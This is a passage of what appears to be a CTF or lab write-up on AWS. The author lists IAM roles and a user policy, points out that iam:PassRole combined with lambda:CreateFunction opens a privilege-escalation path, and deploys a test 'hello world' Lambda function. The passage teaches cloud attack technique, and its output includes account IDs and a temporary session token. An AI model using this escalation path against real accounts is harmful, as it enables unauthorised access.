            &lt;span class="s2"&gt;"Arn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:role/lambda_agent_development_role"&lt;/span&gt;,
            &lt;span class="s2"&gt;"CreateDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-07-22T09:29:34+00:00"&lt;/span&gt;,
            &lt;span class="s2"&gt;"AssumeRolePolicyDocument"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="s2"&gt;"Version"&lt;/span&gt;: &lt;span class="s2"&gt;"2012-10-17"&lt;/span&gt;,
                &lt;span class="s2"&gt;"Statement"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                    &lt;span class="o"&gt;{&lt;/span&gt;
                        &lt;span class="s2"&gt;"Effect"&lt;/span&gt;: &lt;span class="s2"&gt;"Allow"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"Principal"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                            &lt;span class="s2"&gt;"Service"&lt;/span&gt;: &lt;span class="s2"&gt;"lambda.amazonaws.com"&lt;/span&gt;
                        &lt;span class="o"&gt;}&lt;/span&gt;,
                        &lt;span class="s2"&gt;"Action"&lt;/span&gt;: &lt;span class="s2"&gt;"sts:AssumeRole"&lt;/span&gt;
                    &lt;span class="o"&gt;}&lt;/span&gt;
                &lt;span class="o"&gt;]&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;,
            &lt;span class="s2"&gt;"MaxSessionDuration"&lt;/span&gt;: 3600
        &lt;span class="o"&gt;}&lt;/span&gt;,
        &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"Path"&lt;/span&gt;: &lt;span class="s2"&gt;"/"&lt;/span&gt;,
            &lt;span class="s2"&gt;"RoleName"&lt;/span&gt;: &lt;span class="s2"&gt;"lambda_agent_webservice_role"&lt;/span&gt;,
            &lt;span class="s2"&gt;"RoleId"&lt;/span&gt;: &lt;span class="s2"&gt;"AROAQYDFBGMSTH7VQVGQC"&lt;/span&gt;,
            &lt;span class="s2"&gt;"Arn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:role/lambda_agent_webservice_role"&lt;/span&gt;,
            &lt;span class="s2"&gt;"CreateDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-07-22T09:29:35+00:00"&lt;/span&gt;,
            &lt;span class="s2"&gt;"AssumeRolePolicyDocument"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="s2"&gt;"Version"&lt;/span&gt;: &lt;span class="s2"&gt;"2012-10-17"&lt;/span&gt;,
                &lt;span class="s2"&gt;"Statement"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                    &lt;span class="o"&gt;{&lt;/span&gt;
                        &lt;span class="s2"&gt;"Effect"&lt;/span&gt;: &lt;span class="s2"&gt;"Allow"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"Principal"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                            &lt;span class="s2"&gt;"Service"&lt;/span&gt;: &lt;span class="s2"&gt;"lambda.amazonaws.com"&lt;/span&gt;
                        &lt;span class="o"&gt;}&lt;/span&gt;,
                        &lt;span class="s2"&gt;"Action"&lt;/span&gt;: &lt;span class="s2"&gt;"sts:AssumeRole"&lt;/span&gt;
                    &lt;span class="o"&gt;}&lt;/span&gt;
                &lt;span class="o"&gt;]&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;,
            &lt;span class="s2"&gt;"MaxSessionDuration"&lt;/span&gt;: 3600
        &lt;span class="o"&gt;}&lt;/span&gt;,
    ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  User Policy
&lt;/h3&gt;

&lt;p&gt;I tried to find user policy to figure out what I can and cannot do&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws iam list-attached-user-policies &lt;span class="nt"&gt;--user-name&lt;/span&gt; user-a5df75ad1753434aa2db7dbe7d361b96                                                                         254 ⨯
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"AttachedPolicies"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
        &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"PolicyName"&lt;/span&gt;: &lt;span class="s2"&gt;"user-a5df75ad1753434aa2db7dbe7d361b96"&lt;/span&gt;,
            &lt;span class="s2"&gt;"PolicyArn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96"&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws iam get-policy &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; &lt;span class="s2"&gt;"arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96"&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"Policy"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"PolicyName"&lt;/span&gt;: &lt;span class="s2"&gt;"user-a5df75ad1753434aa2db7dbe7d361b96"&lt;/span&gt;,
        &lt;span class="s2"&gt;"PolicyId"&lt;/span&gt;: &lt;span class="s2"&gt;"ANPAQYDFBGMSUGVZ37LUE"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Arn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Path"&lt;/span&gt;: &lt;span class="s2"&gt;"/"&lt;/span&gt;,
        &lt;span class="s2"&gt;"DefaultVersionId"&lt;/span&gt;: &lt;span class="s2"&gt;"v1"&lt;/span&gt;,
        &lt;span class="s2"&gt;"AttachmentCount"&lt;/span&gt;: 1,
        &lt;span class="s2"&gt;"PermissionsBoundaryUsageCount"&lt;/span&gt;: 0,
        &lt;span class="s2"&gt;"IsAttachable"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
        &lt;span class="s2"&gt;"CreateDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-09-09T07:35:46+00:00"&lt;/span&gt;,
        &lt;span class="s2"&gt;"UpdateDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-09-09T07:35:46+00:00"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Tags"&lt;/span&gt;: &lt;span class="o"&gt;[]&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws iam get-policy-version &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; &lt;span class="s2"&gt;"arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96"&lt;/span&gt; &lt;span class="nt"&gt;--version-id&lt;/span&gt; &lt;span class="s2"&gt;"v1"&lt;/span&gt;                            252 ⨯
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"PolicyVersion"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"Document"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"Version"&lt;/span&gt;: &lt;span class="s2"&gt;"2012-10-17"&lt;/span&gt;,
            &lt;span class="s2"&gt;"Statement"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="s2"&gt;"Sid"&lt;/span&gt;: &lt;span class="s2"&gt;"VisualEditor0"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Effect"&lt;/span&gt;: &lt;span class="s2"&gt;"Allow"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Action"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                        &lt;span class="s2"&gt;"iam:GetPolicy"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"iam:GetPolicyVersion"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"iam:ListAttachedRolePolicies"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"iam:ListRoles"&lt;/span&gt;
                    &lt;span class="o"&gt;]&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Resource"&lt;/span&gt;: &lt;span class="s2"&gt;"*"&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;,
                &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="s2"&gt;"Sid"&lt;/span&gt;: &lt;span class="s2"&gt;"VisualEditor1"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Effect"&lt;/span&gt;: &lt;span class="s2"&gt;"Allow"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Action"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                        &lt;span class="s2"&gt;"lambda:CreateFunction"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"lambda:InvokeFunction"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"lambda:GetFunction"&lt;/span&gt;
                    &lt;span class="o"&gt;]&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Resource"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:lambda:ap-southeast-1:051751498533:function:&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;aws&lt;/span&gt;:username&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;-*"&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;,
                &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="s2"&gt;"Sid"&lt;/span&gt;: &lt;span class="s2"&gt;"VisualEditor2"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Effect"&lt;/span&gt;: &lt;span class="s2"&gt;"Allow"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Action"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                        &lt;span class="s2"&gt;"iam:ListAttachedUserPolicies"&lt;/span&gt;
                        &lt;span class="s2"&gt;"iam:ListAttachedUserPolicies"&lt;/span&gt;
                    &lt;span class="o"&gt;]&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Resource"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:user/&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;aws&lt;/span&gt;:username&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;,
                &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="s2"&gt;"Sid"&lt;/span&gt;: &lt;span class="s2"&gt;"VisualEditor3"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Effect"&lt;/span&gt;: &lt;span class="s2"&gt;"Allow"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Action"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                        &lt;span class="s2"&gt;"iam:PassRole"&lt;/span&gt;
                    &lt;span class="o"&gt;]&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Resource"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:role/lambda_agent_development_role"&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;,
                &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="s2"&gt;"Sid"&lt;/span&gt;: &lt;span class="s2"&gt;"VisualEditor4"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Effect"&lt;/span&gt;: &lt;span class="s2"&gt;"Allow"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Action"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                        &lt;span class="s2"&gt;"ec2:DescribeVpcs"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"ec2:DescribeRegions"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"ec2:DescribeSubnets"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"ec2:DescribeRouteTables"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"ec2:DescribeSecurityGroups"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"ec2:DescribeInstanceTypes"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"iam:ListInstanceProfiles"&lt;/span&gt;
                    &lt;span class="o"&gt;]&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Resource"&lt;/span&gt;: &lt;span class="s2"&gt;"*"&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;]&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;,
        &lt;span class="s2"&gt;"VersionId"&lt;/span&gt;: &lt;span class="s2"&gt;"v1"&lt;/span&gt;,
        &lt;span class="s2"&gt;"IsDefaultVersion"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
        &lt;span class="s2"&gt;"CreateDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-09-09T07:35:46+00:00"&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS]
└─&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can pass the &lt;code&gt;arn:aws:iam::051751498533:role/lambda_agent_development_role&lt;/code&gt; role, as it has &lt;code&gt;iam:PassRole&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;You can also create lambda functions with the name &lt;code&gt;arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*&lt;/code&gt;, and then pass the above role to it.&lt;/p&gt;

&lt;h2&gt;
  
  
  AWS Lambda
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Function Testing
&lt;/h3&gt;

&lt;p&gt;Firstly, I tried running a lambda function with the help of &lt;a href="https://medium.com/@corymaklin/tutorial-amazon-web-services-part-3-lambda-functions-with-aws-cli-ba9f53c5f5ec" rel="noopener noreferrer"&gt;this guide&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;nano index.js

┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;index.js           

exports.handler &lt;span class="o"&gt;=&lt;/span&gt; async &lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;event, context, callback&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s1"&gt;'hello world'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;zip &lt;span class="k"&gt;function&lt;/span&gt;.zip index.js
  adding: index.js &lt;span class="o"&gt;(&lt;/span&gt;deflated 7%&lt;span class="o"&gt;)&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws lambda create-function &lt;span class="nt"&gt;--function-name&lt;/span&gt; user-a5df75ad1753434aa2db7dbe7d361b96-helloworld &lt;span class="nt"&gt;--zip-file&lt;/span&gt; fileb://function.zip &lt;span class="nt"&gt;--runtime&lt;/span&gt; nodejs16.x &lt;span class="nt"&gt;--handler&lt;/span&gt; index.handler &lt;span class="nt"&gt;--role&lt;/span&gt; arn:aws:iam::051751498533:role/lambda_agent_development_role
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"FunctionName"&lt;/span&gt;: &lt;span class="s2"&gt;"user-a5df75ad1753434aa2db7dbe7d361b96-helloworld"&lt;/span&gt;,
    &lt;span class="s2"&gt;"FunctionArn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:lambda:ap-southeast-1:051751498533:function:user-a5df75ad1753434aa2db7dbe7d361b96-helloworld"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Runtime"&lt;/span&gt;: &lt;span class="s2"&gt;"nodejs16.x"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Role"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:role/lambda_agent_development_role"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Handler"&lt;/span&gt;: &lt;span class="s2"&gt;"index.handler"&lt;/span&gt;,
    &lt;span class="s2"&gt;"CodeSize"&lt;/span&gt;: 248,
    &lt;span class="s2"&gt;"Description"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"Timeout"&lt;/span&gt;: 3,
    &lt;span class="s2"&gt;"MemorySize"&lt;/span&gt;: 128,
    &lt;span class="s2"&gt;"LastModified"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-09-09T08:04:50.310+0000"&lt;/span&gt;,
    &lt;span class="s2"&gt;"CodeSha256"&lt;/span&gt;: &lt;span class="s2"&gt;"GC2ej8g5kiPRFpnf9EQvIcl4DkDriObC0LPg6kJxTLM="&lt;/span&gt;,
    &lt;span class="s2"&gt;"Version"&lt;/span&gt;: &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LATEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;,
    &lt;span class="s2"&gt;"TracingConfig"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"Mode"&lt;/span&gt;: &lt;span class="s2"&gt;"PassThrough"&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"RevisionId"&lt;/span&gt;: &lt;span class="s2"&gt;"918de20b-0d4d-4ef6-8674-704980ae7c8b"&lt;/span&gt;,
    &lt;span class="s2"&gt;"State"&lt;/span&gt;: &lt;span class="s2"&gt;"Pending"&lt;/span&gt;,
    &lt;span class="s2"&gt;"StateReason"&lt;/span&gt;: &lt;span class="s2"&gt;"The function is being created."&lt;/span&gt;,
    &lt;span class="s2"&gt;"StateReasonCode"&lt;/span&gt;: &lt;span class="s2"&gt;"Creating"&lt;/span&gt;,
    &lt;span class="s2"&gt;"PackageType"&lt;/span&gt;: &lt;span class="s2"&gt;"Zip"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Architectures"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"x86_64"&lt;/span&gt;
    &lt;span class="o"&gt;]&lt;/span&gt;,
    &lt;span class="s2"&gt;"EphemeralStorage"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"Size"&lt;/span&gt;: 512
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws lambda get-function &lt;span class="nt"&gt;--function-name&lt;/span&gt; user-a5df75ad1753434aa2db7dbe7d361b96-helloworld 
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"Configuration"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"FunctionName"&lt;/span&gt;: &lt;span class="s2"&gt;"user-a5df75ad1753434aa2db7dbe7d361b96-helloworld"&lt;/span&gt;,
        &lt;span class="s2"&gt;"FunctionArn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:lambda:ap-southeast-1:051751498533:function:user-a5df75ad1753434aa2db7dbe7d361b96-helloworld"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Runtime"&lt;/span&gt;: &lt;span class="s2"&gt;"nodejs16.x"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Role"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:role/lambda_agent_development_role"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Handler"&lt;/span&gt;: &lt;span class="s2"&gt;"index.handler"&lt;/span&gt;,
        &lt;span class="s2"&gt;"CodeSize"&lt;/span&gt;: 248,
        &lt;span class="s2"&gt;"Description"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
        &lt;span class="s2"&gt;"Timeout"&lt;/span&gt;: 3,
        &lt;span class="s2"&gt;"MemorySize"&lt;/span&gt;: 128,
        &lt;span class="s2"&gt;"LastModified"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-09-09T08:04:50.310+0000"&lt;/span&gt;,
        &lt;span class="s2"&gt;"CodeSha256"&lt;/span&gt;: &lt;span class="s2"&gt;"GC2ej8g5kiPRFpnf9EQvIcl4DkDriObC0LPg6kJxTLM="&lt;/span&gt;,
        &lt;span class="s2"&gt;"Version"&lt;/span&gt;: &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LATEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;,
        &lt;span class="s2"&gt;"TracingConfig"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"Mode"&lt;/span&gt;: &lt;span class="s2"&gt;"PassThrough"&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;,
        &lt;span class="s2"&gt;"RevisionId"&lt;/span&gt;: &lt;span class="s2"&gt;"97b94a13-cc62-4ce9-bef1-307ced395057"&lt;/span&gt;,
        &lt;span class="s2"&gt;"State"&lt;/span&gt;: &lt;span class="s2"&gt;"Active"&lt;/span&gt;,
        &lt;span class="s2"&gt;"LastUpdateStatus"&lt;/span&gt;: &lt;span class="s2"&gt;"Successful"&lt;/span&gt;,
        &lt;span class="s2"&gt;"PackageType"&lt;/span&gt;: &lt;span class="s2"&gt;"Zip"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Architectures"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
            &lt;span class="s2"&gt;"x86_64"&lt;/span&gt;
        &lt;span class="o"&gt;]&lt;/span&gt;,
        &lt;span class="s2"&gt;"EphemeralStorage"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"Size"&lt;/span&gt;: 512
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"Code"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"RepositoryType"&lt;/span&gt;: &lt;span class="s2"&gt;"S3"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Location"&lt;/span&gt;: &lt;span class="s2"&gt;"https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/user-a5df75ad1753434aa2db7dbe7d361b96-helloworld-adf2d0ad-5438-45a2-bde3-3a9342de84e2?versionId=j8OIPEw3mHT2701GwQ5R7di10kb.KGZh&amp;amp;X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkgwRgIhAML%2Fuslw0lHqTwVUclp0IjRq4j97DKbSw8fqdcAWhZdVAiEApRqDANMihAVPnaTPCFfYkQLVzWqUcbTGX3fYbSm7G3Aq2wQIQBAEGgwyOTUzMzg3MDM1ODMiDCIdr4DbWo5ooe%2F48Sq4BNKHgqSncjFRgBPZoyZG3qvqJiFBDYCGkQxYwzfoWJw6fKJ38fbeRI9hEAXz45nPG5YdPYwPlbTxV0KGA9wJxONeA7e3%2BDrhdZalJlMYdWc3f0okBYN%2FzfGR7Dr%2F40gtl4TqsjEMsYn5K83554LhIaAvpF3RsEM5PGmlF6FNDKxpArX41kGqzBFyO%2Fc6XnT4HmwFZd178cCDe3b9TtzwiJ9uKptgvPJ0rLAJwFWn%2BSYDj7N%2Bk6nLPw07Ca7%2BjljKyzJQY39VYRYRtbOemDQnoe9q9tAfhcAeWUsLMQpmQrYtMU%2FA8qtsXNpwfXyJYRQOQ8hbo258b7PBrhMKmr12KQp4UbKXD%2B9Ch8ONBTfkaBc4%2BQzE6Q6lqqhUwWg3TklBFDpkr4phU%2FY69PBn60ZCUmDjJiAqGjiretanxVzcEeP56YaT3wtaEYHY2DqfmR35I4SAfaQHqpu0oDR2FtyvsJiJNVh2f2PGLdJELlKAyP%2BWRRFpiDtTxQyA%2FPf6J03p71ZhkOQdZnOhSCiUx8qhiuhwIbK5zIqwgcMHhnF0WFr7tQLHRbgLqG2If2XQQgMQ5jOYY%2BmeVUNR3rhKeWtTRJk%2Bf0iJruf4S%2Fd5biQrFQ7HQzWEkSAbeJHZhHqrLo7K2gYnZ%2Fb%2FjweGkb%2F0mIzR8co72At6cJLZskOHorltPWhEyEa5J7NfkcZokuRPDcX14xAdGH04yfjBNJ1w60rIvzo8Wf5nzVBNSNZC3dAzWYkJGQOvFT9pQ%2FwwvMzrmAY6qAHq%2FszymAahlDysJ89xW19gKNJem84Bp7lEVUjPngmTEWDw7Y%2Ft5iVkEikEtfHnAn1WSHfoVgpl3GbAyh%2FawyzVfKirLfXuLw%2FWAsSsIiKd2O5YEgc3tX21miUktThFjIFEiomiUMbwMtmMSngJPBBKvFCmuScSC6vqplwYE1ykWQvGxKetwmsj%2BnztQKIas2aHBhZyHTdWbajX7y2EWMWiHMB6czPE1xI%3D&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Date=20220909T080615Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=600&amp;amp;X-Amz-Credential=ASIAUJQ4O7LPUL5JLYKT%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Signature=cc5fdd01b0c9b58854a454b446f84fe461a96d1ef1f683702296888a3f0d82c6"&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws lambda invoke &lt;span class="nt"&gt;--function-name&lt;/span&gt; user-a5df75ad1753434aa2db7dbe7d361b96-helloworld out.txt                                                                    252 ⨯
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"StatusCode"&lt;/span&gt;: 200,
    &lt;span class="s2"&gt;"ExecutedVersion"&lt;/span&gt;: &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LATEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;out.txt 
&lt;span class="s2"&gt;"hello world"&lt;/span&gt;    

┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;
